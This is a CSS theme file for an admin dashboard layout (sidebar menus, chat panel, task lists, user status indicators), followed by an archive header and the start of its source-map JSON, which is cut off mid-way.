-moz-transform: rotate(0deg); -o-transform: rotate(0deg); -ms-transform: rotate(0deg); -webkit-transform: rotate(0deg); transform: rotate(0deg); -moz-transition: all 0.2s ease-in-out; -o-transition: all 0.2s ease-in-out; -webkit-transition: all 0.2s ease-in-out; transition: all 0.2s ease-in-out; } .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content { background-color: #f3f3f3; } .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .menu-item { padding: 10px 5px; font-size: 13px; padding-left: 50px; margin: 0; } .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .menu-item::before { display: none; } .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .menu-item.active { color: #eb525d; } .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .nav-item::after { display: none; } .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .nav-item a { position: relative; } .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .nav-item a::before { content: "\e844"; font-family: "iconkit"; position: absolute; right: 20px; top: 10px; display: inline-block; -moz-transform: rotate(0deg); -o-transform: rotate(0deg); -ms-transform: rotate(0deg); -webkit-transform: rotate(0deg); transform: rotate(0deg); -moz-transition: all 0.2s ease-in-out; -o-transition: all 0.2s ease-in-out; -webkit-transition: all 0.2s ease-in-out; transition: all 0.2s ease-in-out; } .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .nav-item .submenu-content .menu-item { padding-left: 70px; } .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .nav-item .submenu-content .menu-item::before { display: none; } .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .nav-item.open a::before { -moz-transform: rotate(90deg); -o-transform: rotate(90deg); -ms-transform: rotate(90deg); -webkit-transform: rotate(90deg); transform: rotate(90deg); } .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item:not(.open) .submenu-content { display: none; } .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.open a::before { -moz-transform: rotate(90deg); -o-transform: rotate(90deg); -ms-transform: rotate(90deg); -webkit-transform: rotate(90deg); transform: rotate(90deg); } .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.open::after { background: #576a3d; border-radius: 10px; color: #fff; content: " "; height: 30px; left: 0; position: absolute; top: 10px; width: 3px; } .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.active::after { background: #576a3d; border-radius: 10px; color: #fff; content: " "; height: 30px; left: 0; top: 10px; position: absolute; width: 3px; } .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-lavel { font-size: 14px; font-weight: 400; opacity: 1; padding: 8px 20px 8px; text-transform: capitalize; visibility: visible; width: 100%; color: #999; background: #333e52; } .wrapper .page-wrap .app-sidebar.colored .sidebar-header { background-color: #272d36; } .wrapper .page-wrap .app-sidebar.colored .sidebar-header .header-brand { color: #ffffff; } .wrapper .page-wrap .app-sidebar.colored .sidebar-content { background-color: #404E67; } .wrapper .page-wrap .app-sidebar.colored .sidebar-content .nav-container .navigation-main .nav-item { border-color: rgba(243, 243, 243, 0.15); } .wrapper .page-wrap .app-sidebar.colored .sidebar-content .nav-container .navigation-main .nav-item a { color: #ffffff; } .wrapper .page-wrap .app-sidebar.colored .sidebar-content .nav-container .navigation-main .nav-item a i { color: #bcc8d8; } .wrapper .page-wrap .app-sidebar.colored .sidebar-content .nav-container .navigation-main .nav-item .submenu-content { background-color: #4a5872; } .wrapper .page-wrap .app-sidebar.colored .sidebar-content .nav-container .navigation-main .nav-item.open::after, .wrapper .page-wrap .app-sidebar.colored .sidebar-content .nav-container .navigation-main .nav-item.active::after { background-color: #eb525d; } .wrapper .page-wrap .app-sidebar.hide-sidebar { -moz-transition: transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1); -o-transition: transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1); -webkit-transition: transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1); transition: transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1); -moz-transform: translate3d(-100%, 0, 0); -o-transform: translate3d(-100%, 0, 0); -ms-transform: translate3d(-100%, 0, 0); -webkit-transform: translate3d(-100%, 0, 0); transform: translate3d(-100%, 0, 0); } @media only screen and (max-width: 1023px) { .wrapper .page-wrap .app-sidebar { -moz-transition: transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1); -o-transition: transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1); -webkit-transition: transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1); transition: transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1); } } .wrapper .page-wrap .main-content { padding: 30px 0; background-color: #F6F7FB; min-height: calc(100vh - 120px); margin-top: 60px; padding-right: 15px; padding-left: 255px; -moz-transition: all 0.3s ease; -o-transition: all 0.3s ease; -webkit-transition: all 0.3s ease; transition: all 0.3s ease; } @media only screen and (max-width: 1023px) { .wrapper .page-wrap .main-content { padding-left: 0; padding-right: 0; } } .wrapper .page-wrap .main-content .page-header { margin-bottom: 30px; } .wrapper .page-wrap .main-content .page-header .page-header-title i { float: left; width: 40px; height: 40px; border-radius: 5px; margin-right: 20px; vertical-align: middle; font-size: 22px; color: #fff; display: inline-flex; -webkit-justify-content: center; -moz-justify-content: center; -ms-justify-content: center; justify-content: center; -ms-flex-pack: center; -webkit-align-items: center; -moz-align-items: center; -ms-align-items: center; align-items: center; -webkit-box-shadow: 0 2px 12px -3px rgba(0, 0, 0, 0.5); -moz-box-shadow: 0 2px 12px -3px rgba(0, 0, 0, 0.5); box-shadow: 0 2px 12px -3px rgba(0, 0, 0, 0.5); } .wrapper .page-wrap .main-content .page-header .page-header-title h5 { margin-bottom: 0; font-weight: 700; font-size: 18px; } .wrapper .page-wrap .main-content .page-header .page-header-title h5 + span { font-size: 13px; } .wrapper .page-wrap .main-content .page-header .breadcrumb-container { float: right; } .wrapper .page-wrap .main-content .page-header .breadcrumb-container .breadcrumb { background-color: transparent; margin-bottom: 0; float: right; } .wrapper .page-wrap .main-content .page-header .breadcrumb-container .breadcrumb .breadcrumb-item a { color: #212121; } .wrapper .page-wrap .main-content .card .card-body .sub-title { font-size: 14px; border-bottom: 1px solid rgba(204, 204, 204, 0.35); padding-bottom: 10px; margin-bottom: 20px; color: #2c3e50; } .wrapper .page-wrap .main-content .card .card-body code { background-color: #eee; margin: 5px; display: inline-block; padding: 1px 6px; border-radius: 3px; -webkit-border-radius: 3px; -moz-border-radius: 3px; } .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item { padding: 13px 20px; border: 1px solid #ededed; position: relative; border-left: 0; border-right: 0; height: 50px; overflow: hidden; -moz-transition: transform 0.2s ease-in-out; -o-transition: transform 0.2s ease-in-out; -webkit-transition: transform 0.2s ease-in-out; transition: transform 0.2s ease-in-out; } .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .item-inner { display: -webkit-box; display: -moz-box; display: -ms-flexbox; display: -webkit-flex; display: flex; -webkit-justify-content: flex-start; -moz-justify-content: flex-start; -ms-justify-content: flex-start; justify-content: flex-start; -ms-flex-pack: flex-start; position: relative; } .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .item-inner .custom-control { margin: 0; margin-top: -2px; } .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .item-inner .list-title { width: 100%; display: block; } .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .item-inner .list-title a { color: #3e5569; font-weight: 600; display: block; width: 100%; white-space: nowrap; text-overflow: ellipsis; overflow: hidden; width: calc(100% - 50px); } .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .item-inner .list-actions { position: absolute; right: 0px; top: 50%; opacity: 0; display: none; z-index: 3; padding-left: 10px; -moz-transform: translateY(-50%); -o-transform: translateY(-50%); -ms-transform: translateY(-50%); -webkit-transform: translateY(-50%); transform: translateY(-50%); } .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .item-inner .list-actions a { width: 30px; height: 30px; padding: 0; border-radius: 50%; text-align: center; line-height: 32px; color: #999; display: inline-block; } .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .item-inner .list-actions a:hover, .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .item-inner .list-actions a:focus { background-color: #dee2e6; color: #333; } .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .qickview-wrap { margin-top: 5px; opacity: 0; } .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .qickview-wrap .desc p { margin: 0; } .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item:hover, .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item:focus { background-color: #f9f9f9; } .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item:hover .list-actions, .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item:focus .list-actions { opacity: 1; display: block; } .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item.quick-view-opened { height: auto; background-color: #ffffff; border: none; z-index: 5; -webkit-box-shadow: 0 0 0 0 rgba(0, 0, 0, 0.01), 0 0 32px 0 rgba(0, 0, 0, 0.1); -moz-box-shadow: 0 0 0 0 rgba(0, 0, 0, 0.01), 0 0 32px 0 rgba(0, 0, 0, 0.1); box-shadow: 0 0 0 0 rgba(0, 0, 0, 0.01), 0 0 32px 0 rgba(0, 0, 0, 0.1); -moz-transform: scale(1.01); -o-transform: scale(1.01); -ms-transform: scale(1.01); -webkit-transform: scale(1.01); transform: scale(1.01); } .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item.quick-view-opened .item-inner .list-title a { font-size: 16px; color: #263238; } .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item.quick-view-opened .qickview-wrap { opacity: 1; } .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item + .list-item { margin-top: -1px; } .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item:last-child { border-bottom: none; } .wrapper .page-wrap .footer { background: #ffffff; padding: 20px 30px; border-top: 1px solid rgba(0, 0, 0, 0.04); font-size: calc(0.875rem - 0.05rem); -moz-transition: all 0.25s ease; -o-transition: all 0.25s ease; -webkit-transition: all 0.25s ease; transition: all 0.25s ease; } @media only screen and (min-width: 1024px) { .wrapper .page-wrap .footer { padding-left: 270px; } } .wrapper .page-wrap .right-sidebar { position: fixed; top: 60px; right: 0; width: 240px; background: #fff; height: calc(100vh - 60px); border-left: 1px solid #eef1f2; border-top: 1px solid #eef1f2; padding: 1.07143em; z-index: 9; -moz-transform: translateX(100%); -o-transform: translateX(100%); -ms-transform: translateX(100%); -webkit-transform: translateX(100%); transform: translateX(100%); -moz-transition: all 0.25s ease; -o-transition: all 0.25s ease; -webkit-transition: all 0.25s ease; transition: all 0.25s ease; } .wrapper .page-wrap .right-sidebar .sidebar-chat .sidebar-chat-info h6 { color: #353c4e; } .wrapper .page-wrap .right-sidebar .sidebar-chat .sidebar-chat-info .form-group { position: relative; } .wrapper .page-wrap .right-sidebar .sidebar-chat .sidebar-chat-info .form-group .form-control { padding-right: 30px; border-radius: 50px; -webkit-border-radius: 50px; -moz-border-radius: 50px; padding-left: 15px; } .wrapper .page-wrap .right-sidebar .sidebar-chat .sidebar-chat-info .form-group i { position: absolute; top: 8px; right: 10px; font-size: 16px; color: #bbb; } .wrapper .page-wrap .right-sidebar .sidebar-chat .chat-list .list-group { margin-left: -1.07143em; margin-right: -1.07143em; } .wrapper .page-wrap .right-sidebar .sidebar-chat .chat-list .list-group .list-group-item { background: none; border: 0; border-top: 1px solid #eef1f2; padding: 1em 1.07143em; overflow: hidden; color: #999; display: -webkit-box; display: -moz-box; display: -ms-flexbox; display: -webkit-flex; display: flex; -webkit-align-items: center; -moz-align-items: center; -ms-align-items: center; align-items: center; } .wrapper .page-wrap .right-sidebar .sidebar-chat .chat-list .list-group .list-group-item figure { margin: 0; position: relative; margin-right: 10px; } .wrapper .page-wrap .right-sidebar .sidebar-chat .chat-list .list-group .list-group-item figure img { width: 40px; height: 40px; } .wrapper .page-wrap .right-sidebar .sidebar-chat .chat-list .list-group .list-group-item span { line-height: 1em; display: -webkit-box; display: -moz-box; display: -ms-flexbox; display: -webkit-flex; display: flex; -webkit-justify-content: end; -moz-justify-content: end; -ms-justify-content: end; justify-content: end; -ms-flex-pack: end; -webkit-flex-direction: column; -moz-flex-direction: column; -ms-flex-direction: column; flex-direction: column; } .wrapper .page-wrap .right-sidebar .sidebar-chat .chat-list .list-group .list-group-item span .name { font-size: 14px; color: #444; margin-bottom: 5px; } .wrapper .page-wrap .right-sidebar .sidebar-chat .chat-list .list-group [class*="user-"]:after { position: absolute; top: calc(50% + 15px); left: 0; -moz-transform: translateY(-50%); -o-transform: translateY(-50%); -ms-transform: translateY(-50%); -webkit-transform: translateY(-50%); transform: translateY(-50%); } .wrapper .page-wrap .chat-panel { position: fixed; top: calc(100vh); right: calc( 240px + 15px); width: 310px; z-index: 9999; -moz-transform: translateY(-100%) translateX(14.0625rem); -o-transform: translateY(-100%) translateX(14.0625rem); -ms-transform: translateY(-100%) translateX(14.0625rem); -webkit-transform: translateY(-100%) translateX(14.0625rem); transform: translateY(-100%) translateX(14.0625rem); } .wrapper .page-wrap .chat-panel .card { border: none; margin-bottom: 1.42857em; border-radius: 10px; -webkit-border-radius: 10px; -moz-border-radius: 10px; -webkit-box-shadow: 0 4px 8px 3px rgba(0, 0, 0, 0.2); -moz-box-shadow: 0 4px 8px 3px rgba(0, 0, 0, 0.2); box-shadow: 0 4px 8px 3px rgba(0, 0, 0, 0.2); } .wrapper .page-wrap .chat-panel .card .card-header { background: none; padding: 1.07143em 1.42857em; font-size: 1.14286em; border-bottom: 1px solid rgba(153, 153, 153, 0.2); } .wrapper .page-wrap .chat-panel .card .card-body { padding: 1.07143em; } .wrapper .page-wrap .chat-panel .card .card-body .messages { position: relative; max-height: 21.42857em; overflow-y: scroll; margin-top: -1.07143em; margin-right: -1.07143em; margin-left: -1.07143em; padding-top: 1.07143em; padding-right: 1.07143em; padding-left: 1.07143em; } .wrapper .page-wrap .chat-panel .card .card-body .messages .message { margin: 0.71429em 0; } .wrapper .page-wrap .chat-panel .card .card-body .messages .message:first-child { margin-top: 0; } .wrapper .page-wrap .chat-panel .card .card-body .messages .message figure { -webkit-box-ordinal-group: 3; -ms-flex-order: 2; margin: 0; position: relative; order: 2; } .wrapper .page-wrap .chat-panel .card .card-body .messages .message figure img { width: 30px; height: 30px; } .wrapper .page-wrap .chat-panel .card .card-body .messages .message .message-body { margin-top: .5em; display: -webkit-inline-box; display: -ms-inline-flexbox; display: inline-flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; -ms-flex-direction: column; flex-direction: column; -webkit-box-align: end; -ms-flex-align: end; align-items: flex-end; margin: auto 1.5em; -webkit-box-ordinal-group: 2; -ms-flex-order: 1; order: 1; } .wrapper .page-wrap .chat-panel .card .card-body .messages .message .message-body p { background: #404E67; border: 1px solid #404E67; border-radius: 3px; padding: .5em 1em; color: #fff; margin-bottom: .5em; position: relative; } .wrapper .page-wrap .chat-panel .card .card-body .messages .message .message-body p:first-child:after, .wrapper .page-wrap .chat-panel .card .card-body .messages .message .message-body p:first-child:before { content: ""; height: 0; width: 0; display: block; position: absolute; top: 1.25rem; right: -7px; left: auto; border-style: solid; border-width: 6px 0 7px 6px; border-color: transparent transparent transparent #404E67; -moz-transform: translateY(-50%); -o-transform: translateY(-50%); -ms-transform: translateY(-50%); -webkit-transform: translateY(-50%); transform: translateY(-50%); } .wrapper .page-wrap .chat-panel .card .card-body .messages .message .message-body p:first-child:before { right: -7px; border-left-color: #404E67; } .wrapper .page-wrap .chat-panel .card .card-body .messages .message.reply figure { -webkit-box-ordinal-group: 2; -ms-flex-order: 1; order: 1; } .wrapper .page-wrap .chat-panel .card .card-body .messages .message.reply .message-body { -webkit-box-align: start; -ms-flex-align: start; align-items: flex-start; -webkit-box-ordinal-group: 3; -ms-flex-order: 2; order: 2; } .wrapper .page-wrap .chat-panel .card .card-body .messages .message.reply .message-body p { background: #fff; border: 1px solid #eef1f2; border-radius: 0; border-top-right-radius: 3px; border-bottom-right-radius: 3px; border-radius: 3px; color: #666; } .wrapper .page-wrap .chat-panel .card .card-body .messages .message.reply .message-body p:first-child:after, .wrapper .page-wrap .chat-panel .card .card-body .messages .message.reply .message-body p:first-child:before { content: ""; height: 0; width: 0; display: block; position: absolute; right: auto; left: -7px; border-style: solid; border-width: 6px 7px 6px 0; border-color: transparent #fff transparent transparent; -moz-transform: translateY(-50%); -o-transform: translateY(-50%); -ms-transform: translateY(-50%); -webkit-transform: translateY(-50%); transform: translateY(-50%); } .wrapper .page-wrap .chat-panel .card .card-body .messages .message.reply .message-body p:first-child:before { left: -9px; border-right-color: #eef1f2; } .wrapper .page-wrap .chat-panel .card .card-body .messages .message.reply .message-body p:first-child:after { content: ""; height: 0; width: 0; display: block; position: absolute; right: auto; left: -7px; border-style: solid; border-width: 6px 7px 6px 0; border-color: transparent #fff transparent transparent; -moz-transform: translateY(-50%); -o-transform: translateY(-50%); -ms-transform: translateY(-50%); -webkit-transform: translateY(-50%); transform: translateY(-50%); } .wrapper .page-wrap .chat-panel .card .card-footer { background: none; padding: 1.07143em 1.42857em; border-top: 1px solid rgba(153, 153, 153, 0.2); } .wrapper .page-wrap .chat-panel .card .card-footer .list-icon { font-size: 1.125rem; } .wrapper .page-wrap .chat-panel .card .card-footer textarea { box-shadow: none; resize: none; padding: 0; width: 100%; min-height: auto; padding: 5px 0; } .wrapper.nav-collapsed .header-top { padding-left: 60px; } .wrapper.nav-collapsed .page-wrap .app-sidebar { width: 60px; } .wrapper.nav-collapsed .page-wrap .app-sidebar .sidebar-header .header-brand .text { display: none; } .wrapper.nav-collapsed .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-lavel { display: none; } .wrapper.nav-collapsed .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item a span { display: none; } .wrapper.nav-collapsed .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item a::before { display: none; } .wrapper.nav-collapsed .page-wrap .app-sidebar:hover { width: 240px; } .wrapper.nav-collapsed .page-wrap .app-sidebar:hover .header-brand .text { display: inline-block; } .wrapper.nav-collapsed .page-wrap .app-sidebar:hover .sidebar-content .nav-container .navigation-main .nav-lavel { display: block; } .wrapper.nav-collapsed .page-wrap .app-sidebar:hover .sidebar-content .nav-container .navigation-main .nav-item a span { display: inline-block; } .wrapper.nav-collapsed .page-wrap .app-sidebar:hover .sidebar-content .nav-container .navigation-main .nav-item a::before { display: inline-block; } .wrapper.nav-collapsed .page-wrap .main-content { padding-left: 75px; } .wrapper.nav-collapsed .page-wrap .footer { padding-left: 90px; } .wrapper.menu-collapsed .page-wrap .app-sidebar .sidebar-header .nav-toggle { display: none; } .wrapper.right-sidebar-expand .right-sidebar { -moz-transform: translateX(0); -o-transform: translateX(0); -ms-transform: translateX(0); -webkit-transform: translateX(0); transform: translateX(0); } .wrapper.right-sidebar-expand .chat-panel { -moz-transform: translateY(-100%) translateX(0); -o-transform: translateY(-100%) translateX(0); -ms-transform: translateY(-100%) translateX(0); -webkit-transform: translateY(-100%) translateX(0); transform: translateY(-100%) translateX(0); } hr { box-sizing: content-box; height: 0; margin-top: 1rem; border: 0; border-top: 1px solid rgba(0, 0, 0, 0.1); } .profiletimeline { position: relative; padding-left: 40px; margin: 40px 10px 0 30px; border-left: 1px solid rgba(0, 0, 0, 0.1); } .profiletimeline .sl-item { margin-top: 8px; margin-bottom: 30px; } .profiletimeline .sl-item .sl-left { float: left; margin-left: -60px; z-index: 1; margin-right: 15px; } .profiletimeline .sl-item .sl-left img { max-width: 40px; } .profiletimeline .sl-item .sl-right .sl-date { font-size: 12px; color: #afb5c1; } .dd-handle { background: #f7f7f7; border-radius: 3px; padding: 20px; position: relative; display: block; text-decoration: none; margin: 5px 0; overflow: hidden; } .dd-handle p { margin: 0; } .dd-handle:after, .dd-handle::after { content: ''; width: 5px; height: 100%; position: absolute; top: 0; left: 0; } .dd-list { margin: 0; padding: 0; list-style: none; } .dd-list .dd-placeholder, .dd-list .dd-empty { margin: 5px 0; padding: 0; min-height: 30px; background: #f2fbff; border: 1px dashed #b6bcbf; border-radius: 4px; -webkit-border-radius: 4px; -moz-border-radius: 4px; } .dd-list .dd-list { padding-left: 30px; } .dd-dragel { position: absolute; pointer-events: none; z-index: 9999; } .dd-dragel .dd-handle { -webkit-box-shadow: 2px 4px 6px 0 rgba(0, 0, 0, 0.1); -ms-box-shadow: 2px 4px 6px 0 rgba(0, 0, 0, 0.1); box-shadow: 2px 4px 6px 0 rgba(0, 0, 0, 0.1); } .todo-task .dd-handle:after, .todo-task .dd-handle::after { background-color: #f5365c; } .progress-task .dd-handle:after, .progress-task .dd-handle::after { background-color: #F7CA18; } .completed-task .dd-handle:after, .completed-task .dd-handle::after { background-color: #26C281; } [class*="user--"]::after { height: 0.64286em; width: 0.64286em; display: block; position: absolute; top: 0; right: 10%; border-radius: 100px; content: ""; -webkit-box-shadow: 0 0 0 2px #fff; box-shadow: 0 0 0 2px #fff; } .user--online:after { background: #06d6a0; } .user--busy:after { background: #ff3333; } .user--offline:after { background: #bbb; } /*# sourceMappingURL=theme.css.map */ css/theme.min.css.map000064400000274561151676702570010545 0ustar00{ "version": 3, "mappings": "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